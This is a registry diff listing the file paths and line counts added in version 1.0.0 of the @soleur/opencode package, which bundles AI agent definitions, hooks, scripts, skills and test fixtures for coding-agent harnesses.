@soleur/opencode 0.0.0-stage → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (812) hide show
  1. package/.claude-plugin/agents.manifest.json +476 -0
  2. package/.claude-plugin/plugin.json +42 -0
  3. package/README.md +44 -2
  4. package/agents/community/.gitkeep +0 -0
  5. package/agents/engineering/cto.md +87 -0
  6. package/agents/engineering/design/ddd-architect.md +95 -0
  7. package/agents/engineering/discovery/agent-finder.md +214 -0
  8. package/agents/engineering/discovery/functional-discovery.md +182 -0
  9. package/agents/engineering/infra/infra-security.md +151 -0
  10. package/agents/engineering/infra/platform-strategist.md +109 -0
  11. package/agents/engineering/infra/terraform-architect.md +171 -0
  12. package/agents/engineering/prompt-engineer.md +37 -0
  13. package/agents/engineering/research/best-practices-researcher.md +115 -0
  14. package/agents/engineering/research/framework-docs-researcher.md +93 -0
  15. package/agents/engineering/research/git-history-analyzer.md +53 -0
  16. package/agents/engineering/research/learnings-researcher.md +285 -0
  17. package/agents/engineering/research/repo-research-analyst.md +118 -0
  18. package/agents/engineering/review/agent-native-reviewer.md +279 -0
  19. package/agents/engineering/review/architecture-strategist.md +61 -0
  20. package/agents/engineering/review/code-quality-analyst.md +92 -0
  21. package/agents/engineering/review/code-simplicity-reviewer.md +109 -0
  22. package/agents/engineering/review/data-integrity-guardian.md +82 -0
  23. package/agents/engineering/review/data-migration-expert.md +98 -0
  24. package/agents/engineering/review/deployment-verification-agent.md +183 -0
  25. package/agents/engineering/review/dhh-rails-reviewer.md +46 -0
  26. package/agents/engineering/review/kieran-rails-reviewer.md +87 -0
  27. package/agents/engineering/review/legacy-code-expert.md +55 -0
  28. package/agents/engineering/review/observability-coverage-reviewer.md +147 -0
  29. package/agents/engineering/review/pattern-recognition-specialist.md +59 -0
  30. package/agents/engineering/review/performance-oracle.md +130 -0
  31. package/agents/engineering/review/security-sentinel.md +167 -0
  32. package/agents/engineering/review/semgrep-sast.md +36 -0
  33. package/agents/engineering/review/test-design-reviewer.md +150 -0
  34. package/agents/engineering/review/user-impact-reviewer.md +70 -0
  35. package/agents/engineering/workflow/pr-comment-resolver.md +69 -0
  36. package/agents/finance/budget-analyst.md +29 -0
  37. package/agents/finance/cfo.md +44 -0
  38. package/agents/finance/financial-reporter.md +30 -0
  39. package/agents/finance/revenue-analyst.md +30 -0
  40. package/agents/legal/clo.md +115 -0
  41. package/agents/legal/legal-compliance-auditor.md +110 -0
  42. package/agents/legal/legal-document-generator.md +134 -0
  43. package/agents/marketing/analytics-analyst.md +25 -0
  44. package/agents/marketing/brand-architect.md +181 -0
  45. package/agents/marketing/cmo.md +76 -0
  46. package/agents/marketing/conversion-optimizer.md +19 -0
  47. package/agents/marketing/copywriter.md +20 -0
  48. package/agents/marketing/fact-checker.md +70 -0
  49. package/agents/marketing/growth-strategist.md +145 -0
  50. package/agents/marketing/paid-media-strategist.md +28 -0
  51. package/agents/marketing/pricing-strategist.md +17 -0
  52. package/agents/marketing/programmatic-seo-specialist.md +25 -0
  53. package/agents/marketing/retention-strategist.md +23 -0
  54. package/agents/marketing/seo-aeo-analyst.md +164 -0
  55. package/agents/operations/coo.md +50 -0
  56. package/agents/operations/ops-advisor.md +78 -0
  57. package/agents/operations/ops-provisioner.md +101 -0
  58. package/agents/operations/ops-research.md +52 -0
  59. package/agents/operations/service-automator.md +278 -0
  60. package/agents/product/business-validator.md +206 -0
  61. package/agents/product/competitive-intelligence.md +89 -0
  62. package/agents/product/cpo.md +63 -0
  63. package/agents/product/design/ux-design-lead.md +209 -0
  64. package/agents/product/spec-flow-analyzer.md +122 -0
  65. package/agents/sales/cro.md +44 -0
  66. package/agents/sales/deal-architect.md +29 -0
  67. package/agents/sales/outbound-strategist.md +29 -0
  68. package/agents/sales/pipeline-analyst.md +29 -0
  69. package/agents/support/cco.md +48 -0
  70. package/agents/support/community-manager.md +570 -0
  71. package/agents/support/ticket-triage.md +70 -0
  72. package/bin/soleur-opencode.js +29 -0
  73. package/commands/go.md +659 -0
  74. package/commands/help.md +273 -0
  75. package/commands/sync.md +977 -0
  76. package/commands/version.md +103 -0
  77. package/hooks/antigravity-hooks.json +84 -0
  78. package/hooks/antigravity-session-start.sh +15 -0
  79. package/hooks/bare-root-cwd-guard.sh +131 -0
  80. package/hooks/browser-snapshot-credential-guard.sh +200 -0
  81. package/hooks/codex-session-start.sh +9 -0
  82. package/hooks/compaction-state.sh +525 -0
  83. package/hooks/destructive-command-guard.sh +1387 -0
  84. package/hooks/devin-session-start.sh +90 -0
  85. package/hooks/ext-filter-detect.sh +171 -0
  86. package/hooks/hooks.json +133 -0
  87. package/hooks/lib/hook-tool-kind.sh +24 -0
  88. package/hooks/lib/log-rotation.sh +176 -0
  89. package/hooks/lib/shell-argv.pl +576 -0
  90. package/hooks/memory-backstop.sh +1114 -0
  91. package/hooks/operator-stage-approval.sh +391 -0
  92. package/hooks/stop-hook.sh +367 -0
  93. package/hooks/unkept-promise-hook.sh +383 -0
  94. package/hooks/version-banner.sh +127 -0
  95. package/hooks/welcome-hook.sh +50 -0
  96. package/install.js +108 -0
  97. package/lib/agent-registry.ts +154 -0
  98. package/lib/c4-canonical-cli.mjs +34 -0
  99. package/lib/c4-canonical.mjs +46 -0
  100. package/lib/c4-from-components.ts +554 -0
  101. package/lib/go-routing.ts +81 -0
  102. package/lib/grok-inspect-contract.ts +311 -0
  103. package/lib/harness-model-map.ts +101 -0
  104. package/lib/harness-parity.ts +726 -0
  105. package/lib/harness-tool-map.ts +180 -0
  106. package/lib/harness.ts +716 -0
  107. package/lib/heartbeat-live-reconcile.ts +1153 -0
  108. package/lib/heartbeat-manifest.ts +342 -0
  109. package/lib/kb-coverage.ts +252 -0
  110. package/lib/pr-merge-poll.ts +103 -0
  111. package/lib/workflow-fidelity.ts +388 -0
  112. package/opencode/INSTRUCTIONS.md +152 -0
  113. package/opencode/agents/engineering/cto.md +10 -0
  114. package/opencode/agents/engineering/design/ddd-architect.md +10 -0
  115. package/opencode/agents/engineering/discovery/agent-finder.md +10 -0
  116. package/opencode/agents/engineering/discovery/functional-discovery.md +10 -0
  117. package/opencode/agents/engineering/infra/infra-security.md +10 -0
  118. package/opencode/agents/engineering/infra/platform-strategist.md +10 -0
  119. package/opencode/agents/engineering/infra/terraform-architect.md +10 -0
  120. package/opencode/agents/engineering/prompt-engineer.md +10 -0
  121. package/opencode/agents/engineering/research/best-practices-researcher.md +10 -0
  122. package/opencode/agents/engineering/research/framework-docs-researcher.md +10 -0
  123. package/opencode/agents/engineering/research/git-history-analyzer.md +10 -0
  124. package/opencode/agents/engineering/research/learnings-researcher.md +10 -0
  125. package/opencode/agents/engineering/research/repo-research-analyst.md +10 -0
  126. package/opencode/agents/engineering/review/agent-native-reviewer.md +10 -0
  127. package/opencode/agents/engineering/review/architecture-strategist.md +10 -0
  128. package/opencode/agents/engineering/review/code-quality-analyst.md +10 -0
  129. package/opencode/agents/engineering/review/code-simplicity-reviewer.md +10 -0
  130. package/opencode/agents/engineering/review/data-integrity-guardian.md +10 -0
  131. package/opencode/agents/engineering/review/data-migration-expert.md +10 -0
  132. package/opencode/agents/engineering/review/deployment-verification-agent.md +10 -0
  133. package/opencode/agents/engineering/review/dhh-rails-reviewer.md +10 -0
  134. package/opencode/agents/engineering/review/kieran-rails-reviewer.md +10 -0
  135. package/opencode/agents/engineering/review/legacy-code-expert.md +10 -0
  136. package/opencode/agents/engineering/review/observability-coverage-reviewer.md +10 -0
  137. package/opencode/agents/engineering/review/pattern-recognition-specialist.md +10 -0
  138. package/opencode/agents/engineering/review/performance-oracle.md +10 -0
  139. package/opencode/agents/engineering/review/security-sentinel.md +10 -0
  140. package/opencode/agents/engineering/review/semgrep-sast.md +10 -0
  141. package/opencode/agents/engineering/review/test-design-reviewer.md +10 -0
  142. package/opencode/agents/engineering/review/user-impact-reviewer.md +10 -0
  143. package/opencode/agents/engineering/workflow/pr-comment-resolver.md +10 -0
  144. package/opencode/agents/finance/budget-analyst.md +10 -0
  145. package/opencode/agents/finance/cfo.md +10 -0
  146. package/opencode/agents/finance/financial-reporter.md +10 -0
  147. package/opencode/agents/finance/revenue-analyst.md +10 -0
  148. package/opencode/agents/legal/clo.md +10 -0
  149. package/opencode/agents/legal/legal-compliance-auditor.md +10 -0
  150. package/opencode/agents/legal/legal-document-generator.md +10 -0
  151. package/opencode/agents/marketing/analytics-analyst.md +10 -0
  152. package/opencode/agents/marketing/brand-architect.md +10 -0
  153. package/opencode/agents/marketing/cmo.md +10 -0
  154. package/opencode/agents/marketing/conversion-optimizer.md +10 -0
  155. package/opencode/agents/marketing/copywriter.md +10 -0
  156. package/opencode/agents/marketing/fact-checker.md +10 -0
  157. package/opencode/agents/marketing/growth-strategist.md +10 -0
  158. package/opencode/agents/marketing/paid-media-strategist.md +10 -0
  159. package/opencode/agents/marketing/pricing-strategist.md +10 -0
  160. package/opencode/agents/marketing/programmatic-seo-specialist.md +10 -0
  161. package/opencode/agents/marketing/retention-strategist.md +10 -0
  162. package/opencode/agents/marketing/seo-aeo-analyst.md +10 -0
  163. package/opencode/agents/operations/coo.md +10 -0
  164. package/opencode/agents/operations/ops-advisor.md +10 -0
  165. package/opencode/agents/operations/ops-provisioner.md +10 -0
  166. package/opencode/agents/operations/ops-research.md +10 -0
  167. package/opencode/agents/operations/service-automator.md +10 -0
  168. package/opencode/agents/product/business-validator.md +10 -0
  169. package/opencode/agents/product/competitive-intelligence.md +10 -0
  170. package/opencode/agents/product/cpo.md +10 -0
  171. package/opencode/agents/product/design/ux-design-lead.md +10 -0
  172. package/opencode/agents/product/spec-flow-analyzer.md +10 -0
  173. package/opencode/agents/sales/cro.md +10 -0
  174. package/opencode/agents/sales/deal-architect.md +10 -0
  175. package/opencode/agents/sales/outbound-strategist.md +10 -0
  176. package/opencode/agents/sales/pipeline-analyst.md +10 -0
  177. package/opencode/agents/support/cco.md +10 -0
  178. package/opencode/agents/support/community-manager.md +10 -0
  179. package/opencode/agents/support/ticket-triage.md +10 -0
  180. package/opencode/commands/go.md +10 -0
  181. package/opencode/commands/help.md +10 -0
  182. package/opencode/commands/sync.md +10 -0
  183. package/opencode/commands/version.md +11 -0
  184. package/opencode/opencode.json +8 -0
  185. package/opencode/plugin.ts +493 -0
  186. package/package.json +36 -4
  187. package/scripts/admin-merge-ready.sh +545 -0
  188. package/scripts/admin-merge-ready.test.sh +753 -0
  189. package/scripts/affected-tests.sh +908 -0
  190. package/scripts/affected-tests.test.sh +1797 -0
  191. package/scripts/alpha-metrics.sh +78 -0
  192. package/scripts/alpha-metrics.test.sh +115 -0
  193. package/scripts/ancestor-signal-helpers.baseline.txt +16 -0
  194. package/scripts/audit-flag-flip.sh +107 -0
  195. package/scripts/check-red-on-main.sh +316 -0
  196. package/scripts/ci-head-verdict.sh +363 -0
  197. package/scripts/cloud-detect.sh +193 -0
  198. package/scripts/delegation-verify.sh +657 -0
  199. package/scripts/delegation-verify.test.sh +1424 -0
  200. package/scripts/deploy-arm.sh +475 -0
  201. package/scripts/domain-model-drift.sh +419 -0
  202. package/scripts/emit-decision.sh +144 -0
  203. package/scripts/emit-decision.test.sh +144 -0
  204. package/scripts/ext-filter-divergence-corpus.txt +15 -0
  205. package/scripts/ext-filter-divergence.sh +189 -0
  206. package/scripts/generate-c4-from-components.ts +442 -0
  207. package/scripts/grok-fidelity-gate.sh +68 -0
  208. package/scripts/grok-pre-push-gate.sh +232 -0
  209. package/scripts/harness-discovery-smoke.ts +906 -0
  210. package/scripts/harness-parity-census.ts +92 -0
  211. package/scripts/inngest-luks-alert-armed-probe.ts +29 -0
  212. package/scripts/install-opencode-adapter.ts +520 -0
  213. package/scripts/lib/affected-tests/common.sh +365 -0
  214. package/scripts/lib/affected-tests/go.sh +157 -0
  215. package/scripts/lib/affected-tests/js.sh +188 -0
  216. package/scripts/lib/affected-tests/nx-turbo.sh +98 -0
  217. package/scripts/lib/affected-tests/python.sh +185 -0
  218. package/scripts/lib/context-sanitize.sh +49 -0
  219. package/scripts/lib/domain-model-lib.sh +180 -0
  220. package/scripts/lib/ext-filter-grammar.tsv +34 -0
  221. package/scripts/lib/operator-script.sh +1236 -0
  222. package/scripts/lib/proc.sh +580 -0
  223. package/scripts/lib/session-state.sh +748 -0
  224. package/scripts/lib/tmp-classify.sh +843 -0
  225. package/scripts/lib/wrapper-boundary.sh +47 -0
  226. package/scripts/lint-ratchet.py +1547 -0
  227. package/scripts/monitor-pr-checks.sh +441 -0
  228. package/scripts/pipeline-tally.sh +756 -0
  229. package/scripts/pipeline-tally.test.sh +740 -0
  230. package/scripts/plugin-version.sh +528 -0
  231. package/scripts/precommit-guard.sh +113 -0
  232. package/scripts/precommit-guard.test.sh +254 -0
  233. package/scripts/reconcile-live-heartbeats.ts +705 -0
  234. package/scripts/render-c4-model.sh +217 -0
  235. package/scripts/resolve-git-root.sh +55 -0
  236. package/scripts/resolve-regenerable-conflicts.sh +363 -0
  237. package/scripts/resolve-regenerable-conflicts.test.sh +780 -0
  238. package/scripts/ruff-requirements.txt +22 -0
  239. package/scripts/run-in-pid-namespace.sh +98 -0
  240. package/scripts/run-in-pid-namespace.test.sh +290 -0
  241. package/scripts/scan-ancestor-signal-helpers.py +556 -0
  242. package/scripts/scan-ancestor-signal-helpers.test.sh +670 -0
  243. package/scripts/setup-ralph-loop.sh +238 -0
  244. package/scripts/sync-cursor-name-map.ts +316 -0
  245. package/scripts/sync-grok-agent-compat.ts +188 -0
  246. package/scripts/sync-npm-package.ts +178 -0
  247. package/scripts/sync-opencode-adapter.ts +479 -0
  248. package/scripts/sync-pr-behind.sh +534 -0
  249. package/scripts/sync-pr-behind.test.sh +252 -0
  250. package/scripts/taste-profile-update.sh +180 -0
  251. package/scripts/taste-profile-update.test.sh +167 -0
  252. package/scripts/write-budget-marker.sh +23 -0
  253. package/scripts/write-kb-coverage.ts +113 -0
  254. package/skills/admin-ip-refresh/SKILL.md +81 -0
  255. package/skills/admin-ip-refresh/references/admin-ip-refresh-procedure.md +201 -0
  256. package/skills/agent-browser/SKILL.md +698 -0
  257. package/skills/agent-browser/scripts/playwright-mcp-profile-slot.sh +304 -0
  258. package/skills/agent-browser/scripts/playwright-mcp-redact-proxy.py +964 -0
  259. package/skills/agent-browser/scripts/redact-a11y-snapshot.py +443 -0
  260. package/skills/agent-browser/test/fixtures/capture-playwright-mcp-fixtures.py +217 -0
  261. package/skills/agent-browser/test/fixtures/fake-passthrough-proxy.py +24 -0
  262. package/skills/agent-browser/test/fixtures/fake-playwright-mcp.py +131 -0
  263. package/skills/agent-browser/test/fixtures/make-proxy-mutant.py +48 -0
  264. package/skills/agent-browser/test/fixtures/odd-shapes/dialog-link-injection.json +10 -0
  265. package/skills/agent-browser/test/fixtures/odd-shapes/empty-content.json +5 -0
  266. package/skills/agent-browser/test/fixtures/odd-shapes/error-and-result.json +4 -0
  267. package/skills/agent-browser/test/fixtures/odd-shapes/error-code-bool.json +6 -0
  268. package/skills/agent-browser/test/fixtures/odd-shapes/error-code-string.json +6 -0
  269. package/skills/agent-browser/test/fixtures/odd-shapes/error-message-tree.json +6 -0
  270. package/skills/agent-browser/test/fixtures/odd-shapes/error-no-data.json +6 -0
  271. package/skills/agent-browser/test/fixtures/odd-shapes/error-string.json +4 -0
  272. package/skills/agent-browser/test/fixtures/odd-shapes/error-with-data.json +9 -0
  273. package/skills/agent-browser/test/fixtures/odd-shapes/evaluate-escaped-object.json +10 -0
  274. package/skills/agent-browser/test/fixtures/odd-shapes/invalid-utf8.json +4 -0
  275. package/skills/agent-browser/test/fixtures/odd-shapes/link-result.json +10 -0
  276. package/skills/agent-browser/test/fixtures/odd-shapes/list-two-results.json +6 -0
  277. package/skills/agent-browser/test/fixtures/odd-shapes/meta-in-result.json +13 -0
  278. package/skills/agent-browser/test/fixtures/odd-shapes/no-content.json +5 -0
  279. package/skills/agent-browser/test/fixtures/odd-shapes/quoted-key.json +10 -0
  280. package/skills/agent-browser/test/fixtures/odd-shapes/resource-block.json +18 -0
  281. package/skills/agent-browser/test/fixtures/odd-shapes/result-and-method.json +11 -0
  282. package/skills/agent-browser/test/fixtures/odd-shapes/result-string.json +3 -0
  283. package/skills/agent-browser/test/fixtures/odd-shapes/run-code-escaped-one-row.json +10 -0
  284. package/skills/agent-browser/test/fixtures/odd-shapes/run-code-escaped.json +10 -0
  285. package/skills/agent-browser/test/fixtures/odd-shapes/structured-content.json +13 -0
  286. package/skills/agent-browser/test/fixtures/odd-shapes/tools-list-no-tools.json +5 -0
  287. package/skills/agent-browser/test/fixtures/odd-shapes/tree-no-credential.json +10 -0
  288. package/skills/agent-browser/test/fixtures/odd-shapes/two-text-blocks.json +14 -0
  289. package/skills/agent-browser/test/fixtures/odd-shapes/unparsable-line.json +3 -0
  290. package/skills/agent-browser/test/fixtures/odd-shapes/value-contains-brace.json +10 -0
  291. package/skills/agent-browser/test/fixtures/odd-shapes/value-contains-link-substring.json +10 -0
  292. package/skills/agent-browser/test/fixtures/playwright-mcp-0.0.78/close.json +12 -0
  293. package/skills/agent-browser/test/fixtures/playwright-mcp-0.0.78/evaluate.json +12 -0
  294. package/skills/agent-browser/test/fixtures/playwright-mcp-0.0.78/find.json +12 -0
  295. package/skills/agent-browser/test/fixtures/playwright-mcp-0.0.78/framing.json +6 -0
  296. package/skills/agent-browser/test/fixtures/playwright-mcp-0.0.78/initialize.json +14 -0
  297. package/skills/agent-browser/test/fixtures/playwright-mcp-0.0.78/navigate-link.json +12 -0
  298. package/skills/agent-browser/test/fixtures/playwright-mcp-0.0.78/navigate.json +12 -0
  299. package/skills/agent-browser/test/fixtures/playwright-mcp-0.0.78/roots-list-request.json +5 -0
  300. package/skills/agent-browser/test/fixtures/playwright-mcp-0.0.78/screenshot.json +17 -0
  301. package/skills/agent-browser/test/fixtures/playwright-mcp-0.0.78/snapshot-filename.json +12 -0
  302. package/skills/agent-browser/test/fixtures/playwright-mcp-0.0.78/snapshot-meta-json.json +12 -0
  303. package/skills/agent-browser/test/fixtures/playwright-mcp-0.0.78/snapshot-meta-raw.json +12 -0
  304. package/skills/agent-browser/test/fixtures/playwright-mcp-0.0.78/snapshot.json +12 -0
  305. package/skills/agent-browser/test/fixtures/playwright-mcp-0.0.78/tools-list.json +827 -0
  306. package/skills/agent-browser/test/fixtures/proxy-session-driver.py +138 -0
  307. package/skills/agent-browser/test/fixtures/session-facts.py +102 -0
  308. package/skills/agent-browser/test/playwright-mcp-lifetime.test.sh +1620 -0
  309. package/skills/agent-browser/test/playwright-mcp-redact-proxy.test.sh +1599 -0
  310. package/skills/agent-browser/test/redact-a11y-snapshot.test.sh +527 -0
  311. package/skills/agent-native-architecture/SKILL.md +479 -0
  312. package/skills/agent-native-architecture/references/action-parity-discipline.md +430 -0
  313. package/skills/agent-native-architecture/references/agent-execution-patterns.md +483 -0
  314. package/skills/agent-native-architecture/references/agent-native-testing.md +605 -0
  315. package/skills/agent-native-architecture/references/architecture-patterns.md +493 -0
  316. package/skills/agent-native-architecture/references/dynamic-context-injection.md +358 -0
  317. package/skills/agent-native-architecture/references/files-universal-interface.md +314 -0
  318. package/skills/agent-native-architecture/references/from-primitives-to-domain-tools.md +381 -0
  319. package/skills/agent-native-architecture/references/mcp-tool-design.md +524 -0
  320. package/skills/agent-native-architecture/references/mobile-patterns.md +897 -0
  321. package/skills/agent-native-architecture/references/product-implications.md +478 -0
  322. package/skills/agent-native-architecture/references/refactoring-to-prompt-native.md +342 -0
  323. package/skills/agent-native-architecture/references/self-modification.md +294 -0
  324. package/skills/agent-native-architecture/references/shared-workspace-architecture.md +700 -0
  325. package/skills/agent-native-architecture/references/system-prompt-design.md +263 -0
  326. package/skills/agent-native-audit/SKILL.md +300 -0
  327. package/skills/agent-native-audit/workflows/agent-native-audit.workflow.js +423 -0
  328. package/skills/andrew-kane-gem-writer/SKILL.md +189 -0
  329. package/skills/andrew-kane-gem-writer/references/database-adapters.md +231 -0
  330. package/skills/andrew-kane-gem-writer/references/module-organization.md +121 -0
  331. package/skills/andrew-kane-gem-writer/references/rails-integration.md +183 -0
  332. package/skills/andrew-kane-gem-writer/references/resources.md +126 -0
  333. package/skills/andrew-kane-gem-writer/references/testing-patterns.md +261 -0
  334. package/skills/architecture/SKILL.md +436 -0
  335. package/skills/architecture/references/adr-template.md +154 -0
  336. package/skills/architecture/references/likec4-reference.md +136 -0
  337. package/skills/architecture/references/nfr-reference.md +126 -0
  338. package/skills/archive-kb/SKILL.md +86 -0
  339. package/skills/archive-kb/scripts/archive-kb.sh +300 -0
  340. package/skills/archive-kb/test/archive-kb-partial-run.test.sh +276 -0
  341. package/skills/atdd-developer/SKILL.md +65 -0
  342. package/skills/brainstorm/SKILL.md +701 -0
  343. package/skills/brainstorm/references/brainstorm-brand-workshop.md +153 -0
  344. package/skills/brainstorm/references/brainstorm-domain-config.md +63 -0
  345. package/skills/brainstorm/references/brainstorm-validation-workshop.md +65 -0
  346. package/skills/brainstorm/references/ui-surface-terms.md +42 -0
  347. package/skills/brainstorm-techniques/SKILL.md +231 -0
  348. package/skills/brainstorm-techniques/references/decision-principles.md +150 -0
  349. package/skills/brainstorm-techniques/references/phase-boundaries.md +103 -0
  350. package/skills/brainstorm-techniques/references/standing-delegation.md +407 -0
  351. package/skills/brainstorm-techniques/references/technical-ruling-delegation.md +174 -0
  352. package/skills/campaign-calendar/SKILL.md +145 -0
  353. package/skills/cf-token-scope/SKILL.md +164 -0
  354. package/skills/cf-token-scope/references/widen-playbook.md +114 -0
  355. package/skills/cf-token-scope/scripts/cf-token-scope.sh +253 -0
  356. package/skills/changelog/SKILL.md +142 -0
  357. package/skills/code-to-prd/SKILL.md +66 -0
  358. package/skills/code-to-prd/references/banner-template.md +12 -0
  359. package/skills/code-to-prd/references/prd-template.md +41 -0
  360. package/skills/code-to-prd/scripts/code-to-prd.sh +634 -0
  361. package/skills/code-to-prd/test/code-to-prd.test.sh +447 -0
  362. package/skills/code-to-prd/test/fixture/.env.example +7 -0
  363. package/skills/code-to-prd/test/fixture/app/about/page.tsx +11 -0
  364. package/skills/code-to-prd/test/fixture/app/api/health/route.ts +10 -0
  365. package/skills/code-to-prd/test/fixture/app/page.tsx +14 -0
  366. package/skills/code-to-prd/test/fixture/next.config.mjs +3 -0
  367. package/skills/code-to-prd/test/fixture/package.json +6 -0
  368. package/skills/cohort-status/SKILL.md +62 -0
  369. package/skills/community/SKILL.md +210 -0
  370. package/skills/community/scripts/bsky-community.sh +644 -0
  371. package/skills/community/scripts/bsky-setup.sh +631 -0
  372. package/skills/community/scripts/community-router.sh +93 -0
  373. package/skills/community/scripts/discord-community.sh +487 -0
  374. package/skills/community/scripts/discord-setup.sh +784 -0
  375. package/skills/community/scripts/github-community.sh +706 -0
  376. package/skills/community/scripts/hn-community.sh +233 -0
  377. package/skills/community/scripts/lib/hmac-sha1-b64.sh +126 -0
  378. package/skills/community/scripts/linkedin-community.sh +750 -0
  379. package/skills/community/scripts/linkedin-setup.sh +758 -0
  380. package/skills/community/scripts/x-community.sh +890 -0
  381. package/skills/community/scripts/x-setup.sh +713 -0
  382. package/skills/community/test/community-argv.test.sh +2922 -0
  383. package/skills/community/test/github-community.test.sh +981 -0
  384. package/skills/competitive-analysis/SKILL.md +69 -0
  385. package/skills/competitive-analysis/references/peer-plugin-audit.md +218 -0
  386. package/skills/compound/SKILL.md +673 -0
  387. package/skills/compound/scripts/token-efficiency-report.sh +334 -0
  388. package/skills/compound/test/phase-16.test.sh +379 -0
  389. package/skills/compound-capture/SKILL.md +791 -0
  390. package/skills/compound-capture/assets/critical-pattern-template.md +37 -0
  391. package/skills/compound-capture/assets/resolution-template.md +116 -0
  392. package/skills/compound-capture/references/yaml-schema.md +67 -0
  393. package/skills/compound-capture/schema.yaml +181 -0
  394. package/skills/constraint-scaffold/SKILL.md +175 -0
  395. package/skills/constraint-scaffold/references/boundary-readme.template +35 -0
  396. package/skills/constraint-scaffold/references/constraint-gates-workflow.template +69 -0
  397. package/skills/constraint-scaffold/references/depcruise-config.template +230 -0
  398. package/skills/constraint-scaffold/references/fix-constraints-stage-a.template +240 -0
  399. package/skills/constraint-scaffold/references/fix-constraints-stage-b.template +313 -0
  400. package/skills/constraint-scaffold/references/shared-runner.template +135 -0
  401. package/skills/constraint-scaffold/scripts/constraint-scaffold.sh +589 -0
  402. package/skills/constraint-scaffold/test/bite-proof.test.sh +1338 -0
  403. package/skills/constraint-scaffold/test/boundary.test.sh +734 -0
  404. package/skills/constraint-scaffold/test/emit-fix-constraints.test.sh +193 -0
  405. package/skills/constraint-scaffold/test/generator.test.sh +93 -0
  406. package/skills/constraint-scaffold/test/parity.test.sh +285 -0
  407. package/skills/content-writer/SKILL.md +242 -0
  408. package/skills/content-writer/scripts/blog-jargon-scan.sh +42 -0
  409. package/skills/cron-delete/SKILL.md +56 -0
  410. package/skills/cron-list/SKILL.md +54 -0
  411. package/skills/deepen-plan/SKILL.md +937 -0
  412. package/skills/deepen-plan/workflows/deepen-plan.workflow.js +488 -0
  413. package/skills/deploy/SKILL.md +115 -0
  414. package/skills/deploy/references/hetzner-setup.md +65 -0
  415. package/skills/deploy/scripts/deploy.sh +37 -0
  416. package/skills/deploy-docs/SKILL.md +95 -0
  417. package/skills/dhh-rails-style/SKILL.md +203 -0
  418. package/skills/dhh-rails-style/references/architecture.md +717 -0
  419. package/skills/dhh-rails-style/references/controllers.md +323 -0
  420. package/skills/dhh-rails-style/references/frontend.md +556 -0
  421. package/skills/dhh-rails-style/references/gems.md +316 -0
  422. package/skills/dhh-rails-style/references/models.md +388 -0
  423. package/skills/dhh-rails-style/references/testing.md +354 -0
  424. package/skills/discord-content/SKILL.md +126 -0
  425. package/skills/docs-site/SKILL.md +214 -0
  426. package/skills/drain-labeled-backlog/SKILL.md +203 -0
  427. package/skills/drain-labeled-backlog/scripts/group-by-area.sh +208 -0
  428. package/skills/drain-labeled-backlog/workflows/drain-labeled-backlog.workflow.js +433 -0
  429. package/skills/drain-prs/SKILL.md +142 -0
  430. package/skills/drain-prs/scripts/triage-prs.sh +192 -0
  431. package/skills/drain-prs/test/argv-ceiling.test.sh +183 -0
  432. package/skills/dspy-ruby/SKILL.md +634 -0
  433. package/skills/dspy-ruby/assets/config-template.rb +359 -0
  434. package/skills/dspy-ruby/assets/module-template.rb +326 -0
  435. package/skills/dspy-ruby/assets/signature-template.rb +143 -0
  436. package/skills/dspy-ruby/references/core-concepts.md +268 -0
  437. package/skills/dspy-ruby/references/optimization.md +623 -0
  438. package/skills/dspy-ruby/references/providers.md +335 -0
  439. package/skills/eval-harness/README.md +194 -0
  440. package/skills/eval-harness/SKILL.md +157 -0
  441. package/skills/eval-harness/enums/go-routes.json +13 -0
  442. package/skills/eval-harness/enums/incident-threshold.json +5 -0
  443. package/skills/eval-harness/enums/lane.json +5 -0
  444. package/skills/eval-harness/enums/tool-selection.json +20 -0
  445. package/skills/eval-harness/enums/triage-levels.json +5 -0
  446. package/skills/eval-harness/gated-skills.json +34 -0
  447. package/skills/eval-harness/models.generated.json +5 -0
  448. package/skills/eval-harness/promptfooconfig-go-routing.yaml +35 -0
  449. package/skills/eval-harness/promptfooconfig-incident-threshold.yaml +32 -0
  450. package/skills/eval-harness/promptfooconfig-lane-inference.yaml +33 -0
  451. package/skills/eval-harness/promptfooconfig-ticket-triage.yaml +34 -0
  452. package/skills/eval-harness/promptfooconfig-tool-selection.yaml +33 -0
  453. package/skills/eval-harness/prompts/go-baseline.txt +6 -0
  454. package/skills/eval-harness/prompts/go-skill.txt +21 -0
  455. package/skills/eval-harness/prompts/incident-threshold-baseline.txt +6 -0
  456. package/skills/eval-harness/prompts/incident-threshold-skill.txt +12 -0
  457. package/skills/eval-harness/prompts/lane-inference-baseline.txt +6 -0
  458. package/skills/eval-harness/prompts/lane-inference-skill.txt +15 -0
  459. package/skills/eval-harness/prompts/tool-selection-baseline.txt +19 -0
  460. package/skills/eval-harness/prompts/tool-selection-skill.txt +22 -0
  461. package/skills/eval-harness/prompts/triage-baseline.txt +7 -0
  462. package/skills/eval-harness/prompts/triage-skill.txt +10 -0
  463. package/skills/eval-harness/scripts/eval-gate.cjs +318 -0
  464. package/skills/eval-harness/scripts/extract-block.cjs +87 -0
  465. package/skills/eval-harness/scripts/gate-classification.cjs +28 -0
  466. package/skills/eval-harness/scripts/gen-models.sh +41 -0
  467. package/skills/eval-harness/scripts/gen-skill-prompt.cjs +177 -0
  468. package/skills/eval-harness/scripts/measure-classification.cjs +30 -0
  469. package/skills/eval-harness/scripts/parse-label.cjs +93 -0
  470. package/skills/eval-harness/scripts/verdict.cjs +132 -0
  471. package/skills/eval-harness/tasks/go-routing.jsonl +8 -0
  472. package/skills/eval-harness/tasks/incident-threshold.jsonl +7 -0
  473. package/skills/eval-harness/tasks/lane-inference.jsonl +7 -0
  474. package/skills/eval-harness/tasks/ticket-triage.jsonl +6 -0
  475. package/skills/eval-harness/tasks/tool-selection.jsonl +15 -0
  476. package/skills/eval-harness/test/eval-gate.test.sh +132 -0
  477. package/skills/eval-harness/test/extract-block.test.sh +87 -0
  478. package/skills/eval-harness/test/gate-classification.test.sh +77 -0
  479. package/skills/eval-harness/test/gen-models.test.sh +75 -0
  480. package/skills/eval-harness/test/measure-classification.test.sh +74 -0
  481. package/skills/eval-harness/test/parse-label.test.sh +129 -0
  482. package/skills/eval-harness/test/registry-completeness.test.sh +109 -0
  483. package/skills/eval-harness/test/verdict.test.sh +123 -0
  484. package/skills/every-style-editor/SKILL.md +142 -0
  485. package/skills/every-style-editor/references/EVERY_WRITE_STYLE.md +529 -0
  486. package/skills/feature-tweet/SKILL.md +199 -0
